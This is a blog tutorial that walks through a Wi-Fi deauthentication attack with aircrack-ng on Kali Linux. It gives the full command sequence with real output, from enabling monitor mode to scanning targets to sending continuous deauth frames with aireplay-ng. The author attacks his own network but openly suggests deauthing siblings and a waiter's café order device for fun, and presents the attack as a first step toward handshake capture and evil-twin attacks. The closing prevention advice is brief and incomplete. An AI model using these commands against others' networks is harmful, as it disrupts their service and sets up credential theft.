Thanos Stantzouris Industrial Engineer & Web Developer

Hello Duthcode Hackers, this is how i am going to be calling you from now on... In this article i am going to be talking about a hack attack called deauthentication. 
In my humble opinion, when a hacker learns about a new attack, he or she has the obligation to also learn how to prevent it. So, this is not going to be a simple how to, this article will be divided in 4 parts:

  1. | What is a Deauth Attack
  2. | Why would you want to attack in that way
  3. | How to do it
  4. | How to prevent the attack and take the necessary precautions

Feel free to skip steps of course.

 

1 | What is a Deauth Attack ? 

Deauthentication attack is a type of denial of service attack that targets communication between a user ( or all users ) and a Wi-Fi access point.
This attack sends disassociate packets to one or more clients which are currently associated with a particular access point. Of course, this attack is totally useless if there are no associated wireless client or no fake authentications.
The cool thing about this attack is that even in 2019 where all networks are using a WPA2 encryption you can still easily deauth anything or anyone without even being inside the network!

  • Why does a deauth attack work on WPA2 despite encryption?
    • The use of encryption in 802.11 is limited to data payloads only. Encryption does not apply to the 802.11 frame headers, and cannot do so as key elements of 802.11 headers are necessary for normal operations of 802.11 traffic.
      Since 802.11 management frames largely work by setting information in the headers, management frames are not encrypted and as such are easily spoofed.
      To prevent deauthentication/disaccotiation attacks, the IEEE implemented the 802.11w amendment to 802.11. This provides a mechanism to help prevent the spoofing of management frames, but both client and infrastructure need to support it (and have it enabled) for it to function. (source)

 

 

2 | Why would one attack a network in that way?

A deauth attack is, most of the times, a step of a greater attack! Hackers usually need to deauth a user off of a network so they can:

  • Capture WPA/WPA2 4-Way Handshakes by forcing a user to reconnect to the network
  • Force users to connect to their own Rogue access point (search : Evil Twin Attack)
  • Force users to connect to a Captive Portal

I will be writing articles and tutorials demonstrating every single one of the aforementioned attacks so stay tuned.

You can also deauth users in your network for way simpler reasons, like:

  • Kick a sibling or a friend off the network just because they are slowing your connection down
  • Frustrate people and laugh
    • example, let's say your best friend is a waiter, and he takes his orders from customers with a PDA connected to the Cafe's Wi-Fi connection, deauth his PDA and drive him mad. (You didn't read that from me).

Ok, enough with the Theory! Practice!

 

 

3 | How to Deauth

For this attack we need a tool called aircrack-ng, aircrack-ng is more of a suite actually containing many tools to assess Wi-Fi network security, i have a list of the aircrack tools in my Introduction to Kali Linux article, tool #5.
Since aircrack-ng suite comes pre-installed inside the Kali Linux Distribution, the whole tutorial is on Kali Linux, if you don't have Kali installed on your computer or on a Virtual Machine take a look at my Kali Linux bootable USB - A Hacker's Swiss army knife  article and get ready!

Ok! one last thing, since we are talking about sending packets we will need a wireless adapter both able to work in monitor mode and be a packet injector!

  • What is Monitor Mode? | For listening and Capturing
    • Monitor mode allows you to capture data sent and received by wireless devices and networks nearby. Without it you can not see which devices are active and what is happening inside the network.
  • What is Packet Injection? | For transmitting and Attacking
    • Packet injection allows you to craft and inject or send data to wireless devices and networks nearby. Without it you can not intercept or manipulate any activity from within the network.

My favourite wireless adapter, and the one i'll be using for this tutorial, is TP-LINK TL-WN722N 150 High Gain Mbps Wireless Adapter, it has never failed me thus far.

Tp-Link TLWN722N 150 Mbps High Gain Wireless Adapter

amazon.com - For USA Readers

But you could also go with :

 

Step 1 | Fire up Kali and open up a Terminal

By typing ifconfig and the enter key on your terminal you get the following output :

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe59:1b51  prefixlen 64  scopeid 0x20<link>
        ether 08:00:27:59:1b:51  txqueuelen 1000  (Ethernet)
        RX packets 5  bytes 1360 (1.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 69  bytes 5690 (5.5 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 20  bytes 1116 (1.0 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1116 (1.0 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether fa:30:3e:ca:dd:85  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

At the eth0 section in my ifconfig output you see that i have inet 10.0.2.15, this is because i am running Kali Linux on a Virtual Machine and i have it connected on a nat network. Don't worry about it, you do not even have to care!

All YOU have to care about is the wlan0 section that is your wireless adapter and as you can see mine in not even connected to a network.

Now, if we type to our terminal iwconfig and execute it we see:

lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

Mode : managed, our first goal is to put our wireless adapter on monitor mode.

 

Step 2 | Setting wireless adapter in monitor mode with airmon-ng

By running the airmon-ng start wlan0 (or whatever your adapter is called, it could be wlan1 or wlan2) you are setting your adapter to monitor mode! Check out the output :

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  448 NetworkManager
  525 dhclient
  654 wpa_supplicant

PHY	Interface	Driver		Chipset

phy0	wlan0		ath9k_htc	Atheros Communications, Inc. TP-Link TL-WN322G v3 / TL-WN422G v2 802.11g [Atheros AR9271]

		(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
		(mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=20 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

See the above iwconfig result. Mode:Monitor and the name is wlan0mon! You are ready to go.

 

Step 3 | Searching for Victims with airodump-ng

Run on your terminal => airodump-ng wlan0mon

CH 12 ][ Elapsed: 6 s ][ 2019-02-13 15:41                                         
                                                                                                         
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                         
 C8:14:51:15:DD:2C  -85        2        1    0   6  130  WPA2 CCMP   PSK  COSMOTE-834911                 
 E8:DE:27:4D:7D:14  -79        4        0    0  11   65  WPA2 CCMP   PSK  USER-PC_Network                
 50:C7:BF:DC:4C:E8  -45       18        0    0  11  270  WPA2 CCMP   PSK  TP-LINK_AP_4CE8                
 B0:AC:D2:2B:9E:8D  -74        5        0    0   1  270  WPA2 CCMP   PSK  COSMOTE-2B9E8D                 
 5A:AC:D2:2B:9E:8E  -75        5        0    0   1  270  OPN              OTE WiFi Fon                   
 A4:7E:39:B6:9A:84  -79        6        0    0   6   65  WPA  CCMP   PSK  Wind WiFi B69A84                
 8C:68:C8:CE:6B:3E  -82        2        2    0   2  270  WPA2 CCMP   PSK  CYTA-n4hu1                     
 DC:02:8E:E0:54:1C  -81        4        8    0  13  135  WPA  CCMP   PSK  mpisi wifi                      
 5A:99:35:B7:1F:D3  -91        2        0    0   1  270  OPN              OTE WiFi Fon                   
 30:99:35:B7:1F:D2  -92        3        1    0   1  270  WPA2 CCMP   PSK  Splitting The Sky     

You will get a bunch of different access points with a lot of info you don't understand! Let's break them down.

  • BSSID | MAC address of the access point. In the Client section, a BSSID of “(not associated)” means that the client is not associated with any AP. In this unassociated state, it is searching for an AP to connect with.
  • PWR | Signal level reported by the card. Its signification depends on the driver, but as the signal gets higher you get closer to the AP or the station. If the BSSID PWR is -1, then the driver doesn't support signal level reporting. If the PWR is -1 for a limited number of stations then this is for a packet which came from the AP to the client but the client transmissions are out of range for your card. Meaning you are hearing only 1/2 of the communication. If all clients have PWR as -1 then the driver doesn't support signal level reporting.
  • Beacons | Number of announcements packets sent by the AP. Each access point sends about ten beacons per second at the lowest rate (1M), so they can usually be picked up from very far.
  • # Data | Number of captured data packets (if WEP, unique IV count), including data broadcast packets.
  • #/s | Number of data packets per second measure over the last 10 seconds.
  • CH | Channel number (taken from beacon packets).
    Note: sometimes packets from other channels are captured even if airodump-ng is not hopping, because of radio interference.
  • MB | Maximum speed supported by the AP. If MB = 11, it's 802.11b, if MB = 22 it's 802.11b+ and higher rates are 802.11g. The dot (after 54 above) indicates short preamble is supported. Displays “e” following the MB speed value if the network has QoS enabled.
  • ENC | Encryption algorithm in use. OPN = no encryption,“WEP?” = WEP or higher (not enough data to choose between WEP and WPA/WPA2), WEP (without the question mark) indicates static or dynamic WEP, and WPA or WPA2 if TKIP or CCMP is present.
  • CIPHER | The cipher detected. One of CCMP, WRAP, TKIP, WEP, WEP40, or WEP104. Not mandatory, but TKIP is typically used with WPA and CCMP is typically used with WPA2. WEP40 is displayed when the key index is greater then 0. The standard states that the index can be 0-3 for 40bit and should be 0 for 104 bit.
  • AUTH | The authentication protocol used. One of MGT (WPA/WPA2 using a separate authentication server), SKA (shared key for WEP), PSK (pre-shared key for WPA/WPA2), or OPN (open for WEP).
  • ESSID | Shows the wireless network name. The so-called “SSID”, which can be empty if SSID hiding is activated. In this case, airodump-ng will try to recover the SSID from probe responses and association requests.

My target is me!!!  TP-LINK_AP_4CE8! I am highlighting me because i am trying very hard not to break any laws, so should you!

 

Step 4 | Specific Targeting for better information gathering

Now that we know all that we need to know about our target we have to find any devices connected to the network, to do that we run the following command.

The commands structure is airodump-ng -d "target's BSSID" -c "target's channel number" "wireless adapter monitor mode name"
In our case the full command is:

airodump-ng -d 50:C7:BF:DC:4C:E8 -c 11 wlan0mon

Now we are monitoring SPECIFICALLY our target, and not many targets in general. Also we can see that there are two devices currently inside the network, one of which is my phone!

CH 11 ][ Elapsed: 1 min ][ 2019-02-13 15:59 ]                        
                                                                                                         
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                         
 50:C7:BF:DC:4C:E8  -22  91      610      163    4  11  270  WPA2 CCMP   PSK  TP-LINK_AP_4CE8            
                                                                                                         
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                               
                                                                                                         
 50:C7:BF:DC:4C:E8  AC:3C:0B:36:BD:5B  -32    0e-24      0       12                                       
 50:C7:BF:DC:4C:E8  E0:B5:2D:EA:18:A7  -58    1e-24      6      122                                       

 

Step 5 | Deauthenticating Device from the network

This is our final command!

aireplay-ng -0 0 -a 50:C7:BF:DC:4C:E8 -c E0:B5:2D:EA:18:A7 wlan0mon

Command instructions:

  • -0 means deauthentication.
  •  0 is the number of deauths to send 0 means send them continuously, you can send 10 if you want the target to disconnect and reconnect.
  • -a 50:C7:BF:DC:4C:E8 is the MAC address of the access point we are targeting.
  • -c E0:B5:2D:EA:18:A7 is the MAC address of the client to deauthenticate; if this is omitted then all clients are deauthenticated.
  • wlan0mon is the interface name.

The command continuous output:

16:14:41  Waiting for beacon frame (BSSID: 50:C7:BF:DC:4C:E8) on channel 11
16:14:42  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [99|67 ACKs]
16:14:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [61|59 ACKs]
16:14:43  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [25|48 ACKs]
16:14:44  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [ 0|72 ACKs]
16:14:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [ 0|57 ACKs]
16:14:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:18:A7] [ 0|65 ACKs]
16:14:45  Sending 64 directed DeAuth (code 7). STMAC: [E0:B5:2D:EA:^C:A7] [ 0|10 ACKs]
...
...
[until we hit ctrl+c to stop it sending packets]

And its immediate result :

iphone Deauthenticated from network

 

4 | Prevent the attack and take the necessary precautions

You are now well familiar with the attack and know all the theory a beginner may need! But how could one prepare himself for defending against a deauthentication attack?

You can not stop a bad guy from sending deauth packets. Instead you should make sure your network is configured in a way that the deauth attack doesn't enable an attacker to compromise your network.

  • Make sure your network is using WPA2 encryption.
  • Your Wi-Fi passphrase should be very long and strong.
  • Once you have been disconnected from your network, make sure that you connect back to a WPA2 secure network and not an open one with the same name as yours! IMPORTANT.

 


That was it! Thank you for reading! Here are some other Articles you might like:

 

You can show your support by liking our Facebook Page ! Support our efforts on Ko-Fi ! And you can get in contact with us either by sending us a message on Facebook or via the e-mail on the footer of the Page!

Thanks again! Have a lovely day... Or night!